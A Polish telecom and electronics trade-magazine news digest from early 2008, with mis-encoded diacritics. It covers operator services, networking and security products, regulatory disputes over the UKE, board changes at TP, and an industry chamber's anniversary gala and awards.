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...Abonament Telefoniczny GTS Energis i Multilinia

dostêpne w ca³ej Polsce.

Zasiêg us³ugi Abonament Telefoniczny przeznaczonej dla firm

oraz Multilinia przeznaczonej dla klientów indywidualnych

bêd¹cych abonentami TP by³ ograniczony w dostêpie do 16 stref

numeracyjnych. Od 18 stycznia GTS Energis zwiêkszy³ zasiêg

us³ug, tak aby zapewniæ ich dostêpnoœæ na obszarze ca³ej Polski.

– GTS Energis konsekwentnie realizuje za³o¿on¹ strategiê i wy-

wi¹zuje siê z obietnic z³o¿onych swoim Klientom. Obiecaliœmy,

wprowadzaj¹c Multiliniê w paŸdzierniku 2007 roku, ¿e w krótkim

czasie us³uga ta bêdzie dostêpna dla wszystkich i ju¿ dziœ

og³aszamy, ¿e mo¿emy j¹ œwiadczyæ na terenie ca³ej Polski

– mówi Ireneusz Klimczak, Dyrektor Produktu GTS Energis.

– Jestem przekonany, i¿ spora liczba abonentów chc¹cych sko-

rzystaæ z atrakcyjnego pakietu us³ug oraz bezpiecznych i nieza-

wodnych po³¹czeñ do³¹czy do grona zadowolonych Klientów.

Aby skorzystaæ z oferty Abonament Telefoniczny oraz Multilinia

i zmieniæ dotychczasowego operatora, wystarczy kontakt z firm¹

GTS Energis i podpisanie zamówienia na tê us³ugê. Klienci, któ-

rzy zdecyduj¹ siê na korzystanie z us³ug GTS Energis, mog¹

oszczêdziæ nawet do 23 proc. na op³atach abonamentowych

. ...Rozwi¹zanie sieciowe dla ma³ych i œrednich przed-

siêbiorstw.

Firma NETGEAR®, Inc. zaprezentowa³a NETGEAR® ProSafe

Dual WAN Gigabit SSL VPN Firewall (FVS336G) – wszech-

stronn¹, funkcjonaln¹ zaporê zapewniaj¹c¹ bezpieczeñstwo sieci

oraz zdalny i niezawodny dostêp do internetu. Nowy model prze-

znaczony jest dla ma³ych i œrednich przedsiêbiorstw. Obs³uguje

do 25 tuneli IPsec i 10 tuneli SSL VPN, oferuj¹c bezpieczne

po³¹czenia dwustronne, zdalny dostêp lub funkcje telepracy, nie

wymagaj¹c oprogramowania klienckiego VPN.

– Zespo³y testowe mia³y okazjê w pe³ni wykorzystaæ funkcje i mo-

¿liwoœci FVS336G – powiedzia³ Wojciech Karwowski, Country

Manager NETGEAR Poland. – Jesteœmy przekonani, ¿e funkcjo-

nalnoœæ i wszechstronnoœæ urz¹dzenia sprawi¹, ¿e znajdzie ono

w Polsce wielu nabywców.

ProSafe Dual WAN Gigabit SSL VPN Firewall (FVS336G) wypo-

sa¿ono w zintegrowany, czteroportowy prze³¹cznik 10/100/1000

Mb/s umo¿liwiaj¹cy szybk¹ pracê sieci i zarz¹dzanie przez

SNMP. Urz¹dzenie zawiera równie¿ dwa porty Gigabit WAN

obs³uguj¹ce podwójne po³¹czenia szerokopasmowe z funkcj¹

równowa¿enia obci¹¿enia i przejmowania ruchu w przypadku

awarii, co zwiêksza przepustowoœæ i niezawodnoœæ firmowego

po³¹czenia z internetem.

...Panasonic IRIS – identyfikacja bez kompromisów.

Panasonic, czo³owa marka koncernu Matsushita Electric Indu-

strial, œwiatowego lidera w dziedzinie rozwoju oraz produkcji

urz¹dzeñ elektronicznych, poinformowa³, ¿e system biometrycz-

nej kontroli dostêpu Panasonic BM-ET200 oparty na rozpozna-

waniu têczówki oka otrzyma³ nagrodê roku 2007 przyznawan¹

przez presti¿owy magazyn Detektor International. Miêdzynarodo-

we nagrody tego magazynu wrêczane s¹ najbardziej oryginalnym

pod wzglêdem technologicznym produktom z bran¿y zabezpie-

czeñ. W mijaj¹cym roku czytnik oznaczony symbolem BM-ET200

otrzyma³ tak¿e wyró¿nienie na miêdzynarodowych targach za-

bezpieczeñ IFSEC 2007 w Wielkiej Brytanii, gdzie zosta³ uznany

za najlepszy nowy produkt w kategorii kontrola dostêpu (Best

News Access Control Product).

Panasonic BM-ET200 redefiniuje mo¿liwoœci technologii biome-

trycznej. Jest zaawansowanym, niezawodnym systemem kontroli

dostêpu do pomieszczeñ, który gwarantuje najdok³adniejsz¹ do-

stêpn¹ obecnie metodê identyfikacji biometrycznej i najwy¿szy

poziom ochrony. Ten udoskonalony model jest 5 razy szybszy od

swojego poprzednika – automatyczna identyfikacja têczówki oka

odbywa siê w ci¹gu zaledwie 0,3 sekundy.

...Firma Lanex wprowadzi³a do swojej oferty nowy

produkt – multiplekser œwiat³owodowy TM-64.

Urz¹dzenie realizujê transparentn¹ transmisjê danych pakieto-

wych z szybkoœci¹ FastEthernet 100Mbps oraz oœmiu strumieni

synchronicznych E1, G.703 poprzez œwiat³owód jedno- b¹dŸ wie-

lomodowy zarówno „punkt-punkt”, jak i w topologii magistrali.

Zastosowanie elementów WDM pozwala zestawiaæ po³¹czenia

wykorzystuj¹ce mniejsz¹ liczbê w³ókien œwiat³owodowych. Nieza-

le¿nie mo¿na zastosowaæ mechanizm protekcji ³¹cza w celu

zwiêkszenia niezawodnoœci transmisji danych. TM-64 jest cie-

kaw¹ alternatyw¹ dla krotnic SDH, szczególnie w przypadku

po³¹czeñ typu „ostatnia mila" oferuje u¿ytkownikowi mo¿liwoœæ

³atwego zwiêkszenia pojemnoœci ³¹cza.

...Prawdziwie œwiatowy telefon Walkman® Sony Eric-

s-son pozwoli Ci dzieliæ siê pasj¹.

Sony Ericsson przedstawil W760 – pierwszy prawdziwie œwiato-

wy telefon Walkman®, który obs³uguje trzypasmow¹ transmisjê

HSDPA (High-Speed Download Packet Access) i umo¿liwia szy-

bkie szerokopasmowe wczytywanie najnowszych plików muzycz-
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nych i treœci. Oferuj¹c muzykê w telefonie i wiele innych treœci,

telefon ten posiada wbudowany GPS oraz wyró¿niaj¹ce siê g³oœ-

niki stereo. Dodatkowo wyposa¿ony jest w najnowsze gry,

bêd¹ce najwiêkszymi hitami, w tym Need for Speed™ ProStreet.

– W dzisiejszych czasach ludzie s¹ w ci¹g³ym ruchu, a wiêc wa¿-

ne jest, by mogli siê ze sob¹ skontaktowaæ w ka¿dej chwili i by

mieli dostêp do rozrywki w zasiêgu rêki – powiedzia³ Ben Pad-

ley, Head of Music Marketing w Sony Ericsson. – Model W760

doskonale pasuje do ich stylu ¿ycia – jest przebojowy i rozrywko-

wy. W760 przenosi telefon Walkman® w rejony bogatsze ni¿

sama muzyka.

...Niezale¿noœæ UKE na celowniku Komisji Europej-

skiej.

Komisja Europejska (KE) pozwa³a Polskê do unijnego Trybuna³u

Sprawiedliwoœci za brak ustawowych gwarancji niezale¿noœci

szefa Urzêdu Komunikacji Elektronicznej (UKE)...

Zgodnie z ustaw¹ z sierpnia 2006 roku, premier ma nieograni-

czon¹ swobodê odwo³ywania szefa UKE, zaœ polskie prawo nie

okreœla jego kadencji. To oznacza – zdaniem KE – brak niezale¿-

noœci urzêdu, którego zadaniem jest kontrola rynku komunikacyj-

nego, gdzie polski rz¹d wci¹¿ ma znaczne udzia³y.

Komisja Europejska kieruje kolejny pozew przeciwko Polsce do

Unijnego Trybuna³u w Luksemburgu. Tym razem zarzuca nam

³amanie prawa w dziedzinie telekomunikacji.

Bruksela domaga siê pe³nej niezale¿noœci krajowego regulatora,

czyli Urzêdu Komunikacji Elektronicznej. Zdaniem Komisji tej nie-

zale¿noœci nie gwarantuj¹ zmiany w przepisach, wprowadzone

w sierpniu 2006 roku. Daj¹ one premierowi swobodê w od-

wo³ywaniu prezesa UKE. Komisja zwraca przy okazji uwagê, ¿e

polski rz¹d wci¹¿ ma znaczne udzia³y w niektórych firmach tele-

komunikacyjnych.

...Netia coraz bli¿ej sprzeda¿y akcji P4.

List intencyjny podpisa³y: Netia SA oraz Tollerton Investments Li-

mited i Novator Telecom Poland Sarl...

Zarz¹d spó³ki Netia SA poinformowa³ o otrzymaniu deklaracji

zainteresowania nabyciem pakietu udzia³ów Netii w jej spó³ce

stowarzyszonej P4.

W wyniku wstêpnych negocjacji Netia SA, Tollerton Investments

Limited i Novator Telecom Poland Sarl podpisa³y list intencyjny,

nie maj¹cy charakteru wi¹¿¹cej umowy, w którym uzgodni³y

wstêpne warunki potencjalnej transakcji. Deklaracja przewiduje

sprzeda¿ 23,4 proc. pakietu udzia³ów Netii w P4 za cenê 130 mln

Euro. Zgodnie z warunkami listu intencyjnego, strony zamie-

rzaj¹ zawrzeæ ostateczne umowy i zamkn¹æ transakcjê do dnia

31 marca 2008 r.

...Zmiany w Zarz¹dzie Telekomunikacji Polskiej.

Rada Nadzorcza Telekomunikacji Polskiej przyjê³a rezygnacjê

trzech cz³onków Zarz¹du TP...

Rada Nadzorcza Telekomunikacji Polskiej przyjê³a rezygnacjê

trzech cz³onków Zarz¹du TP: Benoit Merel’a, Iwony Kossmann

i Pierrick’a Hamon. Jednoczeœnie powierzy³a obowi¹zki cz³onka

Zarz¹du TP Rolandowi Dubois.

24 stycznia 2008 r. Iwona Kossmann, Pierrick Hamon i Benoit

Merel z³o¿yli rezygnacje z pe³nienia funkcji cz³onków Zarz¹du TP.

Powodem jest realizacja nowych planów zawodowych. Rezygna-

cje wchodz¹ w ¿ycie w nastêpuj¹cych terminach: 24 stycznia

2008 r. w przypadku Iwony Kossmann, 29 lutego 2008 r. w przy-

padku Pierrick’a Hamon i Benoit Merel’a.

Obraduj¹ca w tym samym dniu Rada Nadzorcza TP powo³a³a

Roland’a Dubois w sk³ad Zarz¹du. Zostanie on nastêpc¹ Benoit

Merel’a, obecnego cz³onka Zarz¹du ds. finansów. Now¹ funkcjê

obejmie 1 marca 2008 r. pracuj¹c do tego czasu razem z Benoit

Merelem nad przejêciem obowi¹zków.

...Polska mówi NIE europejskiemu Regulatorowi.

Rz¹d Rzeczypospolitej Polskiej nie popiera propozycji utworzenia

Europejskiego Urzêdu ds. Rynku £¹cznoœci Elektronicznej...

Komisja Europejska wnioskuje o ustanowienie nowego niezale¿-

nego Urzêdu, œciœle wspó³pracuj¹cego z krajowymi organami

regulacyjnymi i Komisj¹, odpowiedzialnego przed Parlamentem

Europejskim. W jego sk³ad ma wejœæ Rada Organów Regulacyj-

nych, w której zasi¹d¹ szefowie krajowych organów regulacyj-

nych ze wszystkich pañstw cz³onkowskich, i zast¹pi on Euro-

pejsk¹ Grupê Regulatorów (ERG).

Urz¹d ten ma s³u¿yæ Komisji Europejskiej specjalistycznym dora-

dztwem, zw³aszcza w celu przygotowania decyzji regulacyjnych

podejmowanych na podstawie procedury okreœlonej w artykule 7

oraz w celu kontynuacji rozszerzania rynku wewnêtrznego przez

zwiêkszenie spójnoœci w zastosowaniu przepisów UE, a tak¿e

bêdzie stanowiæ oœrodek wiedzy fachowej w zakresie sieci i us³ug

³¹cznoœci elektronicznej na poziomie europejskim.

Nowy Urz¹d mia³by przej¹æ tak¿e funkcje Europejskiej Agencji

Bezpieczeñstwa Sieci i Informacji (ENISA), co pozwoli prze-

zwyciê¿yæ wiele z problemów stwierdzonych w funkcjonowaniu

ENISA.
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Rz¹d Rzeczypospolitej Polskiej nie popiera propozycji utworzenia

Europejskiego Urzêdu ds. Rynku £¹cznoœci Elektronicznej (Eu-

ropean Electronic Communications Market Authority – EECMA).

Zdaniem Janusza Piechociñskiego – wiceprzewodnicz¹cego Sej-

mowej Komisji Infrastruktury – propozycja Komisji Europejskiej

nie zawiera uzasadnienia merytorycznego i prawnego zast¹pie-

nia Europejskiej Grupy Regulatorów (ERG) innym organem i w

ten sposób zapewnienia spójnego wdro¿enia regulacji we wszy-

stkich pañstwach cz³onkowskich. W uzasadnieniu projektu roz-

porz¹dzenia nie wykazano jakie przes³anki by³y podstaw¹ do za-

proponowania tak daleko id¹cych zmian instytucjonalnych.

...TP przetestuje internet o prêdkoœci 50 Mb/s.

Z pilota¿u mog¹ skorzystaæ wszyscy mieszkañcy nowego budyn-

ku na warszawskiej Woli...

Telekomunikacja Polska jest gotowa do rozpoczêcia testu dostê-

pu do internetu o prêdkoœci 50 Mb/s. Z pilota¿u mog¹ skorzystaæ

wszyscy mieszkañcy nowego budynku na warszawskiej Woli,

w którym zosta³a zainstalowana infrastruktura œwiat³owodowa.

Dziêki wspó³pracy z jedn¹ z firm developerskich, Telekomunika-

cja Polska zainstalowa³a infrastrukturê œwiat³owodow¹ w nowym

budynku na warszawskiej Woli. Pozwoli to na uruchomienie mul-

tipakietu tp wraz z pilotem technicznym dostêpu do internetu

o prêdkoœci 50/10 Mb/s, w technologii FTTH (Fiber to the Home).

Test rozpocznie siê, gdy developer przeka¿e mieszkania lokato-

rom.

Ka¿dy z mieszkañców wspomnianego budynku ma mo¿liwoœæ

wziêcia udzia³u w pilota¿u, który potrwa do koñca listopada 2008

roku. Wystarczy aktywowaæ multipakiet tp 50 Mb/s, który podczas

trwania pilota jest dostêpny w specjalnej, bardzo atrakcyjnej ce-

nie 49 z³ za miesi¹c korzystania z us³ugi.

W ramach multipakietu tp 50 Mb/s osoby bior¹ce udzia³ w pilota-

¿u mog¹ korzystaæ z:

l dostêpu do internetu o prêdkoœci 50/10 Mb/s poprzez modem

Livebox FTTH;

l videostrady tp;

l wideo na ¿yczenie;

l telefonii internetowej tp – plan tanie rozmowy.

Do testu TP wybra³a nowy budynek, w którym znajduje siê 265

mieszkañ. Z oferty bêdzie wiêc mog³o skorzystaæ kilkaset, g³ów-

nie m³odych osób, które stanowi¹ najlepsz¹ grupê badawcz¹ dla

tego rodzaju us³ug.

...Microsoft kontynuuje program Partners in Learning.

Microsoft przeznaczy kwotê 235,5 mln dolarów na kontynuacjê

programu...

Firma Microsoft poinformowa³a, ¿e w ci¹gu nastêpnych 5 lat

przeznaczy kwotê 235,5 mln dolarów na kontynuacjê programu

„Partners in Learning” realizowanego w przesz³o 100 krajach

œwiata. W ten sposób ³¹czny wk³ad firmy w ci¹gu 10 lat trwania

programu siêgnie niemal 500 mln dolarów.

Celem inicjatywy jest zapewnienie nauczycielom i placówkom

oœwiatowym dostêpu do wysokiej jakoœci materia³ów dydaktycz-

nych oraz szkoleñ, by w efekcie w pe³ni wykorzystaæ potencja³

m³odzie¿y szkolnej oraz przygotowaæ j¹ do aktywnoœci zawodo-

wej i gospodarczej w nowoczesnej gospodarce opartej na wie-

dzy. Program „Partners in Learning” jest realizowany w Polsce od

pocz¹tku 2004 roku.

...Comarch podpisa³ z Invest Bank SA kontrakt na

wdro¿enie infrastruktury Call Center wraz z systemem Co-

march CRM przeznaczonym dla konsultantów telefonicz-

nych.

Wdra¿any w Invest Banku SA system Comarch CRM Contact

Center jest rozwi¹zaniem wspieraj¹cym pracê konsultantów Con-

tact Center, nale¿¹cym do platformy Comarch CRM, która by³a

nagradzana jako najnowoczeœniejsze rozwi¹zanie informatyczne

klasy CRM. System bêdzie wspó³pracowa³ z rozwi¹zaniami Call

Center dostarczonymi przez firmê AVAYA, partnera technolo-

gicznego Comarch. Ca³oœæ pozwoli na kompleksow¹ obs³ugê

klientów, od portalu g³osowego daj¹cego mo¿liwoœæ wykonywa-

nia operacji bankowych, po dostêp do konsultantów w pe³ni wy-

posa¿onych we wszystkie istotne dane na temat klientów.

...VIA wprowadza ARTiGO Builder Kit – zestaw do

monta¿u komputerów Pico-ITX.

Firma VIA Technologies, Inc. wprowadzi³a do oferty zestaw VIA

ARTiGO, umo¿liwiaj¹cy entuzjastom samodzielny monta¿ minia-

turowego komputera osobistego. Zestaw zaprojektowany przez

twórców formatu Pico-ITX umo¿liwia samodzieln¹ realizacjê za-

awansowanego projektu typu „zrób to sam”.

WyobraŸ sobie w pe³ni funkcjonalny komputer x86 mieszcz¹-

cy siê w d³oni i umo¿liwiaj¹cy realizacjê wszystkich codzien-

nych zadañ komputerowych, z pe³n¹ obs³ug¹ multimediów. VIA

ARTiGO wa¿y oko³o 520 gramów przy wymiarach zaledwie

15 cm x 11 cm x 4 cm – jest wielkoœci mniej wiêcej po³owy typo-

wego napêdu CD do komputerów stacjonarnych – mo¿na go na-

wet zainstalowaæ w zatoce obudowy komputera PC.

WARTO WIEDZIEÆ, ¯E...
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W zestawie VIA ARTiGO znajduj¹ siê równie¿ wszystkie przewo-

dy i akcesoria portowe niezbêdne do samodzielnego z³o¿enia

komputera. Ponadto system umo¿liwia indywidualizacjê roz-

wi¹zañ – wystarczy dodaæ wymagan¹ iloœæ pamiêci, dysk twardy

o po¿¹danej pojemnoœci i zainstalowaæ wybrany system opera-

cyjny.

...Cichy koniec France 24.

Rok temu zaczyna³a z fanfarami, teraz ma znikn¹æ. Stacja infor-

macyjna France 24, która mia³a byæ francusk¹ odpowiedzi¹ na

CNN, ma zostaæ wcielona do nowego projektu telewizyjnego.

W grudniu 2006 r. stacjê otwiera³ ówczesny prezydent Francji,

Jacques Chirac, z wielk¹ pomp¹ i w blasku fleszy.

Projekt, wspó³tworzony przez francusk¹ telewizjê publiczn¹ oraz

nadawców prywatnych (TF1), mia³ w zamierzeniu staæ siê francu-

skim CNN – popularn¹ na ca³ym œwiecie stacj¹ informacyjn¹, tyle

¿e nadawan¹ i po francusku, i po angielsku. Na papierze sukces

wydawa³ siê zagwarantowany – 80 mln euro rocznego bud¿etu,

blisko 200 sta³ych dziennikarzy, nowoczesne studia pod Pary-

¿em.

Zwyciêstwo jednak nie nadesz³o, France 24 nie zdetronizowa³a

CNN. I tak jak stacjê otwiera³ prezydent, tak teraz decyzjê o jej

powolnej kasacji podj¹³ nowy szef francuskiego pañstwa – Nico-

las Sarkozy.

...CYFRA+ i Telekomunikacja Polska podpisuj¹ poro-

zumienie o wspó³pracy i przygotowuj¹ ofertê triple play.

CANAL+ Cyfrowy i Telekomunikacja Polska podpisa³y umowê

o wspó³pracy, która pozwoli na stworzenie ofert triple play (tele-

wizja, internet, telefon) dla abonentów CYFRY+ oraz klientów TP

niemaj¹cych dostêpu do sieci szerokopasmowej. To istotne na

polskim rynku porozumienie pozwoli upowszechniæ nowoczesn¹

technologiê ³¹cz¹c¹ trzy us³ugi, szczególnie w rejonach, gdzie do

tej pory nie by³o to mo¿liwe. Jednoczeœnie po raz pierwszy w Pol-

sce platforma cyfrowa zaoferuje klientom triple play.

Zgodnie z umow¹, CYFRA+ poza telewizj¹ satelitarn¹ zaoferuje

swoim abonentom tak¿e dostêp do internetu i telefonii. Urucho-

mienie us³ugi planowane jest w drugim kwartale 2008 r. Obok de-

koderów satelitarnych u¿ytkownicy nowej oferty zostan¹ wy- po-

sa¿eni w terminale double play daj¹ce dostêp do internetu i tele-

fonii poprzez DSL lub drog¹ radiow¹.

...Paramount zaprzecza.

Wytwórnia filmowa Paramount Pictures zaprzeczy³a doniesie-

niom prasowym, wed³ug których mia³aby zrezygnowaæ ze wspie-

rania formatu HD DVD.

Paramount zdecydowa³ siê na wydawanie swoich filmów wy³¹cz-

nie w formacie HD DVD w sierpniu ubieg³ego roku. Tymczasem

przed kilkoma dniami wytwórnia Warner Bros. podjê³a decyzjê

o udzieleniu wsparcia wy³¹cznie konkurencyjnemu Blu-ray.

Wed³ug Financial Times, ten fakt móg³by mieæ du¿y wp³yw na po-

suniêcie Paramount Pictures. Zdaniem gazety, w umowie, jak¹

Paramount zawar³ z obozem HD DVD, zapisana zosta³a klauzu-

la pozwalaj¹ca wytwórni na przejœcie na stronê przeciwnika,

w przypadku, gdy Warner zdecyduje siê na wsparcie formatu

Blu-ray. Wówczas jedyn¹ licz¹c¹ siê wytwórni¹ wspieraj¹c¹

wy³¹cznie format HD DVD pozosta³aby Universal Studios. Tym-

czasem Blu-ray mia³by po swojej stronie a¿ szeœciu zwolenników.

Doniesieniom FT zaprzeczy³a jednak rzeczniczka prasowa Para-

mount, Brenda Ciccone. Jak donosi serwis Bloomberg.com,

w oœwiadczeniu przes³anym dziennikarzom drog¹ e-mailow¹ po-

informowa³a ona, ¿e obecnym zamierzeniem wytwórni jest dalsze

wspieranie formatu HD DVD.

...TV zaprzyjaŸnia siê z internetem.

„Niech ¿yje telewizja tradycyjna... dziêki internetowi” – tak brzmi

jedna z najbardziej przewrotnych tez analityków Deloitte. Wyda-

wa³oby siê, ¿e w dobie zawrotnej popularnoœci takich serwisów

jak YouTube czy Joost oferuj¹cych przez internet programy tele-

wizyjne za darmo wró¿enie telewizji œwietlanej przysz³oœci jest ry-

zykowne. – Wydaje siê jednak, ¿e telewizja internetowa to kolej-

ne medium, którego jakoœæ, formaty i odbiorcy znacz¹co ró¿ni¹

siê od tego, z czym mamy do czynienia w telewizji trady-

cyjnej. Tradycyjni nadawcy powinni popracowaæ nad tym, ¿eby

uzupe³niæ swoj¹ ofertê kana³ami online – czytamy w raporcie De-

loitte.

– Mo¿emy wyobraziæ sobie telewizor z przegl¹dark¹ internetow¹,

który pozwala ogl¹daæ nie tylko zwyk³e programy telewizyjne, ale

równie¿ pliki wideo bezpoœrednio z internetu. Skorzysta na tym

widz, który zamiast ograniczonej listy kana³ów telewizyjnych

ma dostêp do nieograniczonych zasobów internetu – komentuje

Dariusz Nachy³a, partner w firmie Deloitte, odpowiedzialny za

sektor TMT.
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W siedzibie dziennika „Rzeczpospolita”, patrona
medialnego nagrody, w dniu 15 stycznia br. odby³o
siê uroczyste wrêczenie nagrody. Kapitu³a nagrody
uzna³a, ¿e Anna Stre¿yñska w trakcie swojej dro-
gi zawodowej, sprawuj¹c kolejne funkcje urzêdni-
cze, kierowa³a siê przede wszystkim dobrem pañ-
stwa i spo³eczeñstwa. Jej profesjonalizm, rzetel-
noœæ, bezstronnoœæ i determinacja to cenny wk³ad
w proces tworzenia wysokich standardów funkcjo-
nowania s³u¿by publicznej. Anna Stre¿yñska jest
wiêc wzorem urzêdnika pañstwowego.

Anna Stre¿yñska, obecnie prezes Urzêdu Komu-
nikacji Elektronicznej, jest prawnikiem, specjalizu-
je siê w prawie dotycz¹cym telekomunikacji, me-
diów, konkurencji i ochrony praw konsumentów.
By³a m.in. wicedyrektorem departamentu w Urzê-
dzie Ochrony Konkurencji i Konsumentów, w latach
1998-2001 doradc¹ trzech ministrów ³¹cznoœci, pod-
sekretarzem stanu w Ministerstwie Transportu i Bu-
downictwa, a od 8 maja 2006 r. jest prezesem
UKE. Dziêki jej konsekwentnym i zdecydowanym
dzia³aniom znacznie obni¿y³y siê ceny us³ug interne-
towych, zmniejszy³y op³aty za po³¹czenia z telefo-
nów stacjonarnych na komórkowe oraz koszt u¿yt-
kowania telefonu komórkowego, wzros³a konkuren-
cja na rynku telefonii komórkowej.

Uwa¿a siê przede wszystkim za urzêdnika, który
stara siê rozwi¹zywaæ konkretne problemy ponad
podzia³ami politycznymi.

Pytana o Ÿród³a swoich sukcesów, wymienia trzy
warunki: ciê¿ka praca od rana do nocy, kontrolowa-
nie wszystkiego od A do Z i s³uchanie tego, co maj¹
do powiedzenia inni. – Nagroda potwierdza s³usz-

noœæ wybranej drogi – mówi³a A. Stre¿yñska od-
bieraj¹c wyró¿nienie. Doda³a, ¿e czuje siê dumna,
a jednoczeœnie zobowi¹zana do zdwojonego wy-
si³ku. Zapewni³a, ¿e nie boi siê ¿adnych wyzwañ.

Anna Stre¿yñska oœwiadczy³a, ¿e przeka¿e nagrodê
pieniê¿n¹ w wysokoœci 25 tys. z³ dwóm fundacjom:
Federacji Inicjatyw Obywatelskich oraz Fundacji
Teatr Otwarty przy Teatrze Bajka w Warszawie.

W sk³ad kapitu³y przyznaj¹cej nagrodê wchodz¹ m.in.
¿ona Andrzeja B¹czkowskiego – Gra¿yna, Jerzy
Hausner, Micha³ Boni, Longin Komo³owski, Jerzy
Kropiwnicki oraz Henryka Bochniarz.

Nagroda im. Andrzeja B¹czkowskiego przyznawana
jest osobom, które – podobnie jak patron nagro-
dy, Andrzej B¹czkowski – rozwi¹zuj¹ wa¿ne proble-
my spo³eczne, stanowi¹ wzór s³u¿by publicznej,
dzia³aj¹ w duchu porozumienia i wspó³pracy, kieruj¹
siê ide¹ dzia³ania „ponad podzia³ami”. Organizato-
rem konkursu jest Fundacja dla Polski.

Andrzej B¹czkowski – prawnik, dzia³acz NSZZ So-
lidarnoœæ i opozycji demokratycznej, wiceminister
pracy w latach 1991-1996, a nastêpnie minister
pracy do chwili nag³ej œmierci w listopadzie 1996
roku. W 1995 r. Andrzej B¹czkowski zosta³ uznany
za Urzêdnika Roku i wyró¿niony Nagrod¹ Kisiela
1996. Poœmiertnie zosta³ odznaczony Krzy¿em Ofi-
cerskim Orderu Odrodzenia Polski.

Dla uczczenia jego pamiêci przyznawana jest na-
groda im. Andrzeja B¹czkowskiego dla najlepszych
urzêdników pañstwowych, wrêczana w rocznicê
jego œmierci. n
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W grudniu ubieg³ego roku Kapitu³a Nagrody

im. Andrzeja B¹czkowskiego zadecydowa³a, ¿e laureatem Nagrody

w 2007 roku zosta³a Anna Stre¿yñska – Prezes Urzêdu

Komunikacji Elektronicznej.

Wzór urzêdnika pañstwowego Grzegorz Kantowicz

Nagroda
im. Andrzeja B¹czkowskiego
dla Anny Stre¿yñskiej

Anna Stre¿yñska odbiera nagrodê z r¹k syna Andrzeja B¹czkowskiego – Micha³a. Fot. Grzegorz Kantowicz



Czêœæ oficjaln¹ uroczystoœci otworzy³ prezes za-
rz¹du Izby – Stefan Kamiñski. Przypomnia³ m.in
okolicznoœci, które doporowadzi³y do powo³ania Izby
w okresie burzliwych przemian, jakie mia³y miejsce
na pocz¹tku lat 90. ub. wieku. Nastêpnie laudacje
wyg³osili: minister A. Szejnfeld w imieniu w³asnym
oraz ministra gospodarki i wicepremiera Walde-
mara Pawlaka, pose³ A. Mê¿yd³o, prezes KIG
A. Arendarski i dyrektor generalny EICTA Mark
McGann, który powiedzia³, ¿e 15 lat temu na Krem-
lu panowa³ M. Gorbaczow, na Downing Street
M. Thatcher, a w Bia³ym Domu G. Bush Senior. Dziœ
ma³o kto o nich pamiêta, natomiast w KIGEiT pre-
zes jest wci¹¿ ten sam.

Kolejnym punktem programu by³o uroczyste uhono-
rowanie osób zas³u¿onych dla rozwoju i dzia³alnoœci
KIGEiT. W grupie osób wspó³pracuj¹cych z Izb¹ dy-
plomy honorowe otrzymali:

Waldemar Pawlak – wyró¿nienie specjalne za
wspó³pracê przy tworzeniu polityki dla sektora elek-
tronicznego w latach 1993-1995, w szczególnoœci
zwi¹zanej z negocjacjami przyst¹pienia Polski do
GATT jako Prezesowi Rady Ministrów RP;

Anna Stre¿yñska – za konsekwentn¹ i skuteczn¹
realizacjê strategii regulacyjnej dla rynku telekomu-
nikacyjnego na stanowisku Prezesa Urzêdu Komu-
nikacji Elektronicznej;

Adam Szejnfeld – za znacz¹cy wk³ad w proces
legislacyjny tworz¹cy korzystne warunki dla inwe-
stycji i rozwoju przemys³u elektronicznego w Polsce
na stanowisku przewodnicz¹cego i wiceprzewod-
nicz¹cego sejmowej Komisji Gospodarki IV i V ka-
dencji;

Antoni Mê¿yd³o – za znacz¹cy wk³ad w rozwój
konkurencyjnego rynku telekomunikacyjnego na
stanowisku przewodnicz¹cego sejmowej podkomisji
sta³ej ds. ³¹cznoœci;

Mieczys³aw Nogaj – za d³ugoletni¹ wspó³pracê
z Izb¹ przy tworzeniu polityki celnej dla sektora
elektronicznego, w szczególnoœci przy negocjacjach
z WTO w ramach Porozumienia ITA na stanowisku
dyrektora departamentu w Ministerstwie Gospodarki
w latach 1993-95 i od 2004 r. do chwili obecnej oraz
Prezesa G³ównego Urzêdu Ce³ w latach 1995-97;

Barbara Kopijkowska-Nowak – za d³ugoletni¹
wspó³pracê z Izb¹ przy tworzeniu polityki celnej
dla sektora elektronicznego oraz przy negocjacjach
z WTO w ramach Porozumienia ITA na stanowisku

dyrektora departamentu
w Ministerstwie Gospo-
darki od 1995 roku;

Wojciech Maj – za
d³ugoletni¹ wspó³pracê
z Izb¹ przy tworzeniu
polityki przemys³owej
i celnej dla sektora ele-
ktronicznego, w szcze-
gólnoœci przy tworze-
niu strategii dla prze-
mys³u elektronicznego
do 2010 roku na sta-
nowisku dyrektora de-
partamentu w Minister-
stwie Gospodarki w la-
tach 1996-2007;

Wies³aw Czy¿owicz – za d³ugoletni¹ wspó³pracê
z Izb¹ przy tworzeniu polityki celnej dla sektora
elektronicznego, w szczególnoœci przy negocjacjach
z WTO na stanowisku Prezesa G³ównego Urzêdu
Ce³ w latach 2002-2004;

Piotr WoŸny – za znacz¹cy wk³ad w proces legisla-
cyjny, tworz¹cy podstawy konkurencyjnego rynku
telekomunikacyjnego w Polsce na stanowisku pod-
sekretarza stanu w Ministerstwie £¹cznoœci w latach
2000-2001.

W grupie osób dzia³aj¹cych na forum Izby dyplomy
honorowe otrzymali:

Nina Brynczak – za wiele nowych inicjatyw na fo-
rum Izby, w tym tworzenie nowych sekcji bran¿o-
wych oraz wieloletni¹ pracê w organach statuto-
wych Izby, jako cz³onkowi zarz¹du Izby od IV ka-
dencji;

Eugeniusz Gaca – za znacz¹cy wk³ad w integracjê
œrodowiska operatorów telekomunikacyjnych oraz
dzia³ania na rzecz rozwoju rynku telekomunika-
cyjnego w Polsce, jako cz³onkowi zarz¹du Izby od V
kadencji;

Zdzis³aw Kleszcz – za wiele inicjatyw i aktywnoœæ
na forum Izby, w szczególnoœci w sektorze tele-
komunikacyjnym oraz wieloletni¹ pracê w organach
statutowych Izby, jako jednemu z inicjatorów za³o¿e-
nia Izby i cz³onkowi w³adz statutowych Izby od II ka-
dencji;

Andrzej Kaczmarek – za wiele inicjatyw i aktyw-
noœæ na forum Izby, w szczególnoœci w sektorze
elektroniki konsumenckiej, jako jednemu z inicjato-
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29 stycznia 2008 roku w salach Zamku Królewskiego w Warszawie odby³a siê Wielka Gala z okazji 15-lecia istnienia

Krajowej Izby Gospodarczej Elektroniki i Telekomunikacji. Przyby³o ponad 250 osób, a wœród nich sekretarz stanu

w Ministerstwie Gospodarki Adam Szejnfeld, zastêpca przewodnicz¹cego sejmowej Komisji Infrastruktury

Janusz Piechociñski, zastêpca przewodnicz¹cego sejmowej Komisji Kultury i Œrodków Masowego Przekazu

